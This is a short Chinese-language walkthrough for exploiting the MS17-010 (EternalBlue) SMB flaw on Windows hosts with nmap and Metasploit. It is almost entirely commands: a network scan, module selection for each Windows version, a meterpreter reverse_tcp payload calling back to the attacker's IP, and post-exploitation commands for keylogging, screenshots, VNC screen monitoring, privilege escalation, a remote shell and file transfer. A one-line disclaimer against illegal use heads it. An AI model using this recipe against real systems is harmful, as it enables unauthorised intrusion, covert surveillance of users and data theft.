入侵漏洞：ms17_010

请勿用于非法用途

第一步:

发现存活主机

nmap -sn 192.168.1.0/24

 

 

第二步:

扫描漏洞

nmap -T4 --script vuln 192.168.0.107

扫描到漏洞smb-vuln-ms17-010(永恒之蓝)

第三步:

打开metasploit

msfconsole

 

第四步:

查找ms17-010漏洞

search ms17-010

选择漏洞模块

win2003/winxp版本选用:exploit/windows/smb/ms17_010_psexec

win7/win2008选用: exploit/windows/smb/ms17_010_eternalblue

win8/win8.1选用:exploit/windows/smb/ms17_010_eternalblue_win8

这里是win2003所以输入

use exploit/windows/smb/ms17_010_psexec

查看模块属性

show options

 

设置目标ip

set rhosts 192.168.0.107

设置载块

set payload windows/meterpreter/reverse_tcp

设置自己的主机ip

set lhost 192.168.0.105

查看属性

show options

开始渗透

exploit

 

第五步:

现在已经得到了meterpreter的回话

打开vnc屏幕监控

run vnc

其他命令:

screenshot                #屏幕截图

shell                         #打开目标cmd

keyscan_start             #开启键盘监听

keyscan_dump             #查看监听记录

keyscan_stop               #停止监听

getsystem                     #提权

upload a.exe  c:/            #上传文件到c:/

download c:/a.exe /root  #下载文件到root目录

ps                                #查看进程

kill 2312                        #关闭pid为2312的进程